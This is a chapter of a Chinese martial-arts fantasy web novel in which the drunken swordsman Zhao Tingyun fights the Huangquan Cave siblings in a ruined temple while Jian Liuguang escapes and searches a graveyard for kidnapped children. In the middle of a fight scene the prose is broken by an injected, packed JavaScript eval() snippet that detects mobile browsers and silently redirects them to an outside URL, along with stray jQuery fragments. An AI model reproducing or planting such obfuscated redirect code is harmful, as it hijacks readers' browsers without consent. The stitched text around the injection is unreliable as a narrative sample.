这地方有些眼熟,简流光打量了半天,终于认出这是云外坡后面那座庙,他做鬼时经常来逛。
因挨着坟地,这庙早就无人供奉了,没想到今日竟上演了出“庙小妖风大,池浅王八多”。
刚进来的这位是何许人也?
独步江湖、傲视群伦、独占《大焉风云录》榜首十年的天下第一侠客,赵停云!
若不是阿桃吼了那一声,众人还真没认出来。
只见眼前人已然喝得酩酊大醉,走起路来跌跌撞撞,野狗似的将满身水渍甩出去,惹得众人纷纷后退一步。
他将湿透的头发随手向后捋,露出脸来,青胡茬不知多久没收拾,覆满了整个下巴。
不过就算状态萎靡,依旧能看出他鼻梁高挺,眸子清亮,脸庞轮廓如刀劈斧削般凌厉,棱角坚毅分明,自有一股凛然之气。
他醉醺醺地穿堂而过,走到文曲星那破败的泥塑前,从袖中掏出酒壶和几个玉杯,在破香台上依次排开。
斟满其中一盏后,他举杯呢喃:“师父,这是你最爱喝的秋月沉,三十年的陈酿。为了给您祝寿,我特地跑去三堇谷里偷出来的,厉害吧?”
“当年您偷了好几次都没成功,徒儿今朝一下便偷出来了,气得姜老头子哇哇大叫,哈哈哈!只是师父您没有口福,不肖徒儿只能自己独饮这美酒了。”
赵停云将酒下肚后,斟满第二杯:“算了,还是让您尝一口吧。”
言罢,他将新酒举起,对着上天敬了三敬,随后洒泼到地上。
“你尝也尝了,等徒儿身登极乐后,就别追着我打了,多丢面儿啊。”
满堂的人皆注视着这个自说自话的天下第一大侠,一时不知该如何是好,场面静得似能听见银针掉落。
赵停云这般悠然自若,视旁人如无物,倒显得他们才是闯入者。
简流光做鬼时就听说过赵停云的不少辉煌事迹,什么十八岁练得天下第一剑、二十岁离登仙境只差临门一脚,当然,使他最印象深刻的,当属他在云梦洲剿灭黄泉客一行人的事。
脑袋里虽回忆起的这些神乎其神的故事,却实在无法与眼前这人对上号。
他无非就是比猪脚店里那些乡野食客挺拔了些、俊逸了些,然刚才那乱说一通醉话的模样,与不胜酒力的邢大爷根本没什么差别。
不行,不能这么想。
人家可是天下第一行侠仗义之豪杰,是能救自己命的人!
就算喝醉了酒,想必他也不会熟视无睹。
简流光摈弃偏见,迫切呼救道:“赵停云大侠,救我!”
赵停云听见有人叫自己的名字,想是终于想起此处还有旁人,慢悠悠回过了头。
他的目光扫过浩渺阁人以及黄泉客,最后定格在简流光脸上。
原以为他是意识到了这儿正上演着一出劫案,谁料他问的却是:“哦……你们不是来祭奠我师父的?”
阿桃闻言,恶狠狠翻了个白眼:“这里是文曲星庙,不是你师父坟头!”
“师娘管的严,师父平日里都来这文星庙偷偷喝酒,这里与他的第二个家无异。”赵停云叫冤,并看向门口那群人,“浩渺阁的青蚨子们消息灵通,应该知道这事儿吧?”
那脸上带长疤的年轻男子点头:“万逸门掌门生前的确会在这里独酌。”
赵停云又问:“你们既不是来祭奠我师父的,那聚在这儿做什么?”
年轻男子道:“不是什么大事,浩渺阁在做交易罢了,还请赵大侠不要插手干涉。”
这话说得忒冠冕唐皇,简流光立刻打断道:“我呸,我是奚山脚下屠二娘猪脚店的跑堂,被这群人打晕了,拐至此处的!黄泉窟这对狗男女要活埋我,浩渺阁这群人要绑架我!大侠救我,救我啊大侠!”
赵停云有一搭没一搭地听着,眼皮半抬,目光落在那结着蛛网的房梁上,醉酒的思绪跟着摇摇欲坠的丝线而去,不住晃荡。
简流光说得口干舌燥,却迟迟不见他答话,忍不住问:“大侠,我说的你可都听明白没?”
赵停云惊醒似的回过神来:“听明白了。”
既然听明白了,还不将这群恶人打趴下?
简流光当然不会这么直白地说。
他用尽毕生力气,挤出一副可怜兮兮模样:“还请大侠救我一命,日后我定千百倍偿还恩情!”
没想到赵停云回复的却是:“哦,稍等。”
……什么叫稍等!
简流光顿时生无可恋,觉得把希望寄托醉鬼身上的自己,才是愚不可及。
只见赵停云又转过身去,复执起酒壶:“还有最后一点儿了……”
他反手一扣,将壶底残沥的酒液倾注,最后几滴颤巍巍落下,堪堪够盛满一盏。
他擎起玉杯对天,说:“剩这最后一杯,留给师妹。”
明明有一肚子话可唠叨,这会儿却嗓子嘶哑,舌尖刺痛,半个字也说不出来了。
沉默半晌,他将这杯酒一饮而尽。
末了来了句:“行月,你不许我以酒祭你,是还活着对么?”
“活着?她这妖女也配活着!”
阿桃像是听到了什么天大的笑话,嘴角扯出一抹森然冷笑,眼底阴鸷尽显,如毒蛇吐信。
谁料这句话一脱口,倏然为赵停云醒了酒。
方才的迷醉之态消散,周身气势陡然一变,他偏头瞥去,刀锋般的冷冽目光刺向阿桃:“我当是谁,原来是黄泉窟不知天高地厚的孤魂野鬼。”
“孤魂野鬼?我俩肉身尚在呢,你师父、师兄弟们才担得起这个称呼吧。”阿桃掩面而笑,“不对,不对!他们都死了,只有你一人在世上苟且偷生,你才是孤魂野鬼,行尸走肉!”
“阿桃别笑了,你看他多不禁逗,说没两句,脸色这样难堪。”阿夭拽了拽她,话听着是劝和,字字句句却在往火里泼油。
对面二人笑作一团,有意激怒,赵停云却平静异常,只淡淡说:“报上名字来。”
“黄泉窟,桃靥鬼。”
赵停云再次看向简流光:“就是这二人要活埋你?”
“是,是!他们欲取童子十二人,活埋布阵,打算复活那大魔头权无……”
简流光话还没说完,赵停云就径直朝那二人砍了过去。
阿桃跳开,这才发现他手中拿着的并非刀刃,而是地上随手捡的一截枯木残枝。
她怒道:“赵停云,你忒瞧不起人!你那名震四方的云剑呢?拔出来让我们开开眼呀!”
“对付你们两个,用不着拔剑。”
话毕,赵停云指尖抚过枝干,熔金般的灵力流转缠绕上去,须臾间凝成一柄光剑的模样,刃上浮动着八卦虚影。
那倾颓的泥塑本是半边慈眉善目,半边露出混着稻草的泥胚,却顷刻间被这光芒重塑了金漆,恍若仙人再临凡尘。
赵停云持枝立于神像前,衣袍无风自动,翻飞如鹤。
凡人竟然能有这般强劲的灵力?
不光简流光瞪大了眼睛,连桃靥鬼姐弟都相视而望,隐隐有了犹豫之色。
赵停云手腕一翻,枝干微微下压——是万逸门独学“逍遥剑法”的起手式。
剑形虽虚,剑意却实。
阿桃率先发难,手中的软剑如灵蛇出洞,贴地飞旋而去。阿夭则直袭赵停云面门,以长剑划出一个圆弧,径直劈了过去!
赵停云微微侧首,凌厉的刀锋擦着耳际掠过,带去几缕散落的发丝。指尖轻转间,手中树枝已顺势挑起那柄游蹿而来的软剑,将其甩了出去。
他动作轻松,仿佛不是在格挡杀招,只是信手拂去肩头落叶。
仅凭这两招,桃靥鬼就已经知晓二人并非他的对手。
然而赵停云未能给他们反应的时间,身形已贴近阿夭跟前,一记拳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536789|170908||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
法重击腰腹,再回旋,树枝已经逼近他的咽喉。
他们甚至还没来得及运转灵力。
阿桃见状,将目光转向浩渺阁那几名青蚨子,怒道:“浩渺阁的,我将这崽子让与你们,这人情如今正是还的时候!”
只见青蚨子们正奋笔疾书,将眼前的战况记录在册,被阿桃这么一吼,皆看向为首的男子。
年轻男子眉峰微蹙,无奈叹了口气:“浩渺阁有规矩,青蚨子不得参与江湖争斗,我们虽做了交易,但……”
然而话未说完,赵停云的树枝已经直挺挺袭来,逼得浩渺阁几人顷刻间作鸟兽散,使出轻功跃上断梁、香台。
他们欲躲,但赵停云抛下桃靥鬼,偏要纠缠过来。
他剑势骤紧,封死退路,寒光迫喉之际,青蚨子只得出剑格挡,金铁交鸣之声炸响雨夜。
这下不得不应战了。
而简流光呢?
此时已经趁乱跑出去了老远。
他早就得了赵停云的一个撤退的眼神,本觉得自己丢下他一人与众人缠斗,忒不厚道,但在他出剑后,他发现自己身处战局之中才是添乱。
那可是一剑封喉二十二黄泉客的赵停云!
天公作美,雨已住了七八分,残雾化作氤氲水汽袭来,在皮肤上留下些潮意。
他对云外坡再熟悉不过了,因此逃起亡来似故地重游,倍感亲切。
密林中鼓起一座座黄土,土上几蓬衰草摇曳。中元节烧的纸钱早已化成黑黢黢的余烬,零星几点黄纸随风而起,盘旋不停,似有几只野鬼正在推杯换盏。
亏得那及时雨,不然他早已被活埋于此,加入这酒局了。
一路向北行,就能逃离这云外坡。
然而电光火石之间,他脑海中蓦然浮现孙旺出那张胖脸。
临走前,自己说什么来着?
叫他们练武练到夜半三更。
又想,桃靥鬼姐弟为布阵,需生擒童子十二人。
他眼皮突地跳了跳。
他既是在村口被抓,那孙旺一行憨童,该不会也……
脚步一顿,他在原地静立数息。
有赵停云在,那帮子人应该不会这么快就追来。
思索再三后,他还是决定在云外坡搜寻一圈,以防万一。
四下幽暗静谧,只剩有一阵没一阵的蝉鸣,极难听,像是鬼魅在声嘶力竭地叫嚣着什么。
好在简流光是个起死回生之鬼,并不害怕,反而边行走着,边朝空气打招呼:“诸位好久不见,我是送怨君,对,我变成人了,来日有空给你们烧纸钱……”
他想了想,又道:“你们可在此地见过孩童,或者新入土的棺材?人命关天,还请大侠们指个路!”
云外坡葬了不少江湖人,最为古道热肠了。
只闻蝉声猝然消失,紧接着妖风四起。
他扭头,见周遭柳树狂舞,枝条像是招魂的幡,纷纷指向风口。
简流光踏着泥泞追风而去,拨开纠缠于眼前的拦路之枝,迎来天光大亮。
他眯起眼睛细看,只见十丈外,柳树旁,竟还真有一人的身影。
只不过不是孙旺,而是个身着不染尘白裙的女孩。
她正蹲在地上,低着头看什么东西。
能救一命是一命!他气喘呼呼地跑上前,连忙问道:“你也是被黄泉客抓来的?”
女孩带着一顶幕篱,白纱笼罩至腰,闻言,抬头望简流光,却并未言语。
简流光以为是自己吓着她了,连忙整理了下仪表,说:“你别害怕,我不是坏人,也是被抓来的。我刚才遇到赵停云大侠搭救,这才得以逃出生天。”
他低头,赫然看见女孩面前竟然有一道深坑。
泥土已经被刨开,一口空荡荡的棺材正横陈于她的脚边。
简流光不禁咋舌:“你……自己爬出来的?真厉害!”